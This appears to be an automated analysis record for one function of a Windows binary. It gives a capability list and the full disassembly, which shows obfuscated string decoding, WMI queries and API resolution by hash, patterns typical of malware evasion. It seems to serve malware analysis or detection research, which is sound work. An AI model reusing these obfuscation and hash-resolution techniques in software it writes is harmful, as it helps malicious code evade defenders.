Function at 0x435a40
Capabilities:
Connect to wmi namespace via wbemlocator
Encode data using xor
Get http document via iwebbrowser2
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x98
mov eax, dword [0x4482dc]
mov dword [esp + 4], eax
mov dword [esp + 8], 0xb5c9b5bc
mov dword [esp + 0xc], 0xb5efb412
mov dword [esp + 0x10], 0xb5fbb5e9
mov dword [esp + 0x14], 0xb5d4b5e2
mov dword [esp + 0x18], 0xb5ebb5e3
mov dword [esp + 0x1c], 0xb5f1b5e5
mov dword [esp + 0x20], 0xb596b5b0
lea ecx, [esp + 8]
xor esi, esi
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
mov dword [esp], esi
movzx eax, word [ecx]
mov edi, dword [esp]
and edi, 0xff7545de
mov esi, edx
xor esi, 0x80455d10
sub esi, edi
mov ebx, 0xfffffffe
sub ebx, esi
or ebx, eax
mov edi, 0xfffe
sub edi, esi
and edi, eax
not ebx
or ebx, edi
add ebx, 0xfdd51777
mov eax, ebx
xor eax, 0xfffffffe
mov edi, ebx
or edi, 1
and edi, eax
mov esi, edi
and esi, 2
mov eax, edi
or edi, 2
imul edi, esi
xor esi, 2
and eax, 0xfffd
imul eax, esi
xor ebx, 1
add ebx, edi
mov esi, dword [esp]
add ebx, eax
mov word [ecx], bx
add ecx, 2
dec edx
add esi, 0xfffffffe
cmp edx, 0xfffffff2
jne 0x435aa0
lea eax, [esp + 0x5c]
lea ebx, [esp + 0x70]
lea edi, [esp + 8]
push eax
push 8
push ebx
push 0xd
push edi
push 0
call dword [esp + 0x1c]
test eax, eax
jns 0x435b37
mov dword [esp + 0x70], 0x3a0043
mov dword [esp + 0x74], 0x5c
mov dword [esp + 0x68], 0xd299661e
mov dword [esp + 0x64], 0x3a2f3b07
mov dword [esp + 0x60], 0xacc5eea1
mov dword [esp + 0x5c], 0xc86ea94c
mov dword [esp + 0x48], 0
lea eax, [esp + 0x48]
push eax
push 0x43f678
push 1
push 0
push 0x43f688
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
js 0x436123
mov dword [esp + 8], 0x12671255
mov dword [esp + 0xc], 0x126e1266
mov dword [esp + 0x10], 0x121f1277
mov dword [esp + 0x14], 0x12631264
mov dword [esp + 0x18], 0x12021269
mov word [esp + 0x1c], 0x13d1
mov eax, 0x20
mov ecx, 0x18784b1f
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx esi, word [esp + ecx*2 - 0x30f09636]
mov edx, ecx
or edx, 0x6136e955
lea edi, [eax + edx]
add edi, 0x8787b4c1
mov edx, eax
and edx, 0x2a
xor edx, 0x1848022a
or edx, edi
and edx, 0x7ff97fff
xor edx, esi
mov esi, edx
xor esi, 0x2104
xor edx, 0x10a8
and edx, 0x58f9
and esi, 0xa706
sub esi, edx
inc esi
mov word [esp + ecx*2 - 0x30f09636], si
dec eax
inc ecx
cmp eax, 0x15
jne 0x435bd0
lea edi, [esp + 8]
push edi
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov esi, eax
mov eax, dword [esp + 0x48]
mov ecx, dword [eax]
lea edx, [esp + 0x44]
push edx
push 0
push 0
push 0
push 0
push 0
push 0
push esi
push eax
call dword [ecx + 0xc]
test eax, eax
js 0x436112
push 0
push 0
push 3
push 3
push 0
push 0
push 0xa
push dword [esp + 0x60]
call dword [sym.imp.ole32.dll_CoSetProxyBlanket]
test eax, eax
js 0x436108
mov dword [esp + 0x40], esi
mov dword [esp + 8], 0xfe00fe07
mov dword [esp + 0xc], 0xfe53fe1e
mov eax, 0x38d0
mov ecx, 0xc72f
nop
nop
nop
nop
nop
nop
nop
movzx edx, word [esp + eax*2 - 0x7198]
mov esi, eax
xor esi, ecx
and esi, edx
xor esi, ecx
mov edx, 0x397f
sub edx, esi
mov word [esp + eax*2 - 0x7198], dx
inc eax
dec ecx
cmp eax, 0x38d4
jne 0x435ca0
push edi
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov dword [esp + 4], eax
mov dword [esp + 8], 0x9c699c58
mov dword [esp + 0xc], 0x9c6b9c51
mov dword [esp + 0x10], 0x9c549c6c
mov dword [esp + 0x14], 0x9c789c01
mov dword [esp + 0x18], 0x9c629c03
mov dword [esp + 0x1c], 0x9c599c57
mov dword [esp + 0x20], 0x9c789c5a
mov dword [esp + 0x24], 0x9fc39c2e
mov dword [esp + 0x28], 0x9c0f9fc5
mov dword [esp + 0x2c], 0x9c319c0f
mov dword [esp + 0x30], 0x9c299c1d
mov dword [esp + 0x34], 0x9c219c2e
mov word [esp + 0x38], 0x9c53
mov eax, 0x1b3
mov ecx, 0xee4c
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov esi, ecx
and esi, 0x8c6f
mov edx, eax
and edx, 0x190
or edx, esi
xor dx, word [esp + eax*2 - 0x35e]
xor edx, 0xffff9c6f
add edx, 0x7268
mov word [esp + eax*2 - 0x35e], dx
inc eax
dec ecx
cmp eax, 0x1cc
jne 0x435d50
push edi
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov esi, dword [esp + 0x44]
mov ecx, dword [esi]
lea edx, [esp + 0x58]
push edx
push 0
push 0x30
mov dword [esp + 0x78], eax
push eax
push dword [esp + 0x14]
push esi
call dword [ecx + 0x50]
test eax, eax
js 0x4360f2
mov dword [esp + 0x50], 0
mov eax, dword [esp + 0x58]
mov ecx, dword [eax]
lea edx, [esp + 0x50]
lea esi, [esp + 0x54]
push edx
push esi
push 1
push 0xffffffffffffffff
push eax
call dword [ecx + 0x10]
test eax, eax
js 0x4360e8
cmp eax, 1
je 0x4360e8
cmp dword [esp + 0x50], 0
je 0x4360e8
lea eax, [esp + 0x80]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantClear]
mov eax, dword [esp + 0x54]
mov dword [esp + 8], 0x20b72082
mov dword [esp + 0xc], 0x20ad20a1
mov dword [esp + 0x10], 0x20aa20b4
mov dword [esp + 0x14], 0x209d2089
mov dword [esp + 0x18], 0x20882094
mov dword [esp + 0x1c], 0x209e208e
mov word [esp + 0x20], 0x216d
mov ecx, 0xb266
mov edx, edi
nop
nop
movzx edi, word [edx]
lea esi, [ecx - 0x3ed20000]
or esi, edi
and edi, ecx
not esi
or esi, edi
lea edi, [esi + 0x9337]
add esi, esi
or esi, 0xfffd
xor edi, 0xfffe
add edi, esi
mov esi, 0xfffffffe
sub esi, edi
mov word [edx], si
add edx, 2
dec ecx
cmp ecx, 0xb259
jne 0x435e40
mov ecx, dword [eax]
lea edx, [esp + 8]
push 0
push 0
lea esi, [esp + 0x88]
push esi
push 0
push edx
push eax
call dword [ecx + 0x10]
test eax, eax
js 0x4360d3
cmp word [esp + 0x80], 8
jne 0x4360d3
mov esi, dword [esp + 0x88]
movzx ecx, word [esi]
test cx, cx
je 0x435f03
lea eax, [esi + 2]
xor edx, edx
jmp 0x435edc
inc edx
movzx ecx, word [eax]
add eax, 2
test cx, cx
je 0x435f05
cmp cx, 0x7f
jbe 0x435ed0
mov edi, edx
movzx edx, cx
cmp edx, 0x7ff
ja 0x435ef6
mov edx, edi
add edx, 2
jmp 0x435ed1
cmp cx, 0xffff
mov edx, edi
je 0x435ed1
add edx, 3
jmp 0x435ed1
xor edx, edx
lea eax, [edx + 1]
push eax
mov edi, edx
call fcn.00407fc0
add esp, 4
mov dword [esp + 0x3c], eax
mov dword [esp], eax
mov dword [esp + 0x4c], edi
test edi, edi
je 0x43607f
movzx edx, word [esi]
mov eax, dword [esp + 0x3c]
mov dword [esp], eax
test dx, dx
je 0x43607f
mov ecx, dword [esp + 0x4c]
mov eax, dword [esp + 0x3c]
mov dword [esp], eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, dx
lea eax, [esi + 2]
cmp dx, 0x7f
ja 0x435f70
mov esi, dword [esp]
lea edi, [esi + 1]
mov byte [esi], dl
jmp 0x435f9a
cmp edx, 0x7ff
ja 0x435fba
cmp ecx, 2
jb 0x435fba
mov ebx, edx
shr ebx, 6
add bl, 0xc0
mov esi, dword [esp]
mov byte [esi], bl
lea ebx, [esp + 0x70]
and dl, 0x3f
or dl, 0x80
lea edi, [esi + 2]
mov byte [esi + 1], dl
mov edx, esi
mov esi, eax
add ecx, edx
sub ecx, edi
mov dword [esp], edi
movzx edx, word [esi]
test dx, dx
je 0x43607f
test ecx, ecx
jne 0x435f50
jmp 0x43607f
mov edi, edx
and edi, 0xfc00
cmp edi, 0xd800
jne 0x43602a
cmp ecx, 4
jb 0x43602a
movzx edi, word [esi + 2]
shl edx, 0xa
lea ebx, [edx + edi]
add ebx, 0xfca02400
mov edx, ebx
shr edx, 0x12
add dl, 0xf0
mov eax, dword [esp]
mov byte [eax], dl
mov edx, ebx
shr edx, 0xc
and dl, 0x3f
or dl, 0x80
mov byte [eax + 1], dl
shr ebx, 6
mov edx, ebx
xor edx, 0xc0
or ebx, 0x3f
and ebx, edx
mov edx, eax
add bl, 0x80
mov byte [eax + 2], bl
lea ebx, [esp + 0x70]
mov eax, edi
and al, 0x3f
or al, 0x80
add esi, 4
lea edi, [edx + 4]
mov byte [edx + 3], al
jmp 0x435f9e
movzx esi, di
cmp esi, 0xdc00
jne 0x43603c
mov esi, eax
jmp 0x435fa5
cmp ecx, 3
mov esi, eax
jb 0x436075
mov ebx, edx
shr ebx, 0xc
or bl, 0xe0
mov eax, dword [esp]
mov byte [eax], bl
mov ebx, edx
shr ebx, 6
and bl, 0x3f
or bl, 0x80
mov byte [eax + 1], bl
lea ebx, [esp + 0x70]
and dl, 0x3f
or dl, 0x80
lea edi, [eax + 3]
mov byte [eax + 2], dl
mov edx, eax
jmp 0x435f9e
mov edx, dword [esp]
mov edi, edx
jmp 0x435f9e
mov eax, dword [esp]
mov byte [eax], 0
mov eax, 3
mov ecx, dword [esp + 0x4c]
sub eax, ecx
cmp eax, 0xfffffffd
jae 0x43609a
mov eax, 0xfffffffc
add eax, ecx
shr eax, 2
cmp eax, 3
lea ecx, [esp + 0x5c]
lea esi, [esp + 0x80]
jb 0x4360b4
mov eax, 3
lea eax, [eax*4 + 4]
push eax
mov edi, dword [esp + 0x40]
push edi
push ecx
call fcn.00407ff0
add esp, 0xc
push edi
call fcn.00407fd0
add esp, 4
push esi
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
mov eax, dword [esp + 0x54]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
lea edi, [esp + 8]
mov eax, dword [esp + 0x58]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov esi, dword [sym.imp.OLEAUT32.dll_SysStringLen]
push dword [esp + 4]
call esi
push dword [esp + 0x6c]
call esi
mov esi, dword [esp + 0x40]
mov eax, dword [esp + 0x44]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
push esi
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov eax, dword [esp + 0x48]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
push 0xb65c016e
push dword [0x4472d4]
call fcn.0043b790
add esp, 8
push 0
push 0
push 0
push 0
push edi
push 0
push 0
push ebx
call eax
test eax, eax
mov esi, dword [ebp + 8]
je 0x436155
mov eax, dword [esp + 8]
mov dword [esp + 0x5c], eax
xor ecx, ecx
jmp 0x436170
add esi, 8
mov ecx, dword [esp]
inc ecx
cmp ecx, 4
je 0x436294
mov dword [esp + 4], esi
mov eax, 0
test ecx, ecx
je 0x436187
cmp dword [esp + ecx*4 + 0x5c], 1
mov eax, ecx
sbb eax, 0
mov dword [esp], ecx
mov eax, dword [esp + eax*4 + 0x5c]
mov dword [esp + 0x40], eax
mov dword [esp + 8], 0x3291915d
mov dword [esp + 0xc], 0x1e911e90
xor ecx, ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, word [esp + ecx*2 + 8]
mov eax, ecx
and eax, 2
xor eax, 0x3a5a29da
mov edi, ecx
and edi, 1
sub edi, eax
lea ebx, [edi + 0x2638]
and ebx, edx
mov esi, ebx
and esi, 0xfc7d
mov eax, ebx
or eax, 0xfffffffd
inc eax
imul eax, esi
mov esi, ebx
and esi, 2
or ebx, 2
imul ebx, esi
sub eax, ebx
add edi, edx
add eax, edi
add eax, 0x1dcd2638
mov edx, eax
and edx, 0x1d0f
add edx, edx
xor eax, 0xe2f0
sub edx, eax
mov word [esp + ecx*2 + 8], dx
add ecx, 0xd1b54575
mov eax, ecx
xor eax, 1
and ecx, 1
lea ecx, [eax + ecx*2]
add ecx, 0x2e4aba8b
cmp ecx, 4
jb 0x4361b0
imul eax, dword [esp + 0x40], 0x1a5845
add eax, dword [esp + 8]
mov ecx, dword [esp]
mov dword [esp + ecx*4 + 0x5c], eax
mov edi, 0xffffffff
mov ebx, 0xfffffffe
push 0x10
push 9
mov esi, dword [esp + 0xc]
push esi
push eax
call fcn.0041cc40
add esp, 0x10
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
add ebx, 2
cmp byte [eax + edi + 1], 0
lea edi, [edi + 1]
jne 0x436260
xor edi, 8
not ebx
and ebx, 0x10
mov ecx, ebx
sub ecx, edi
je 0x436160
sub edi, ebx
add eax, edi
push ecx
push 0x30
push eax
call fcn.00408050
add esp, 0xc
jmp 0x436160
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret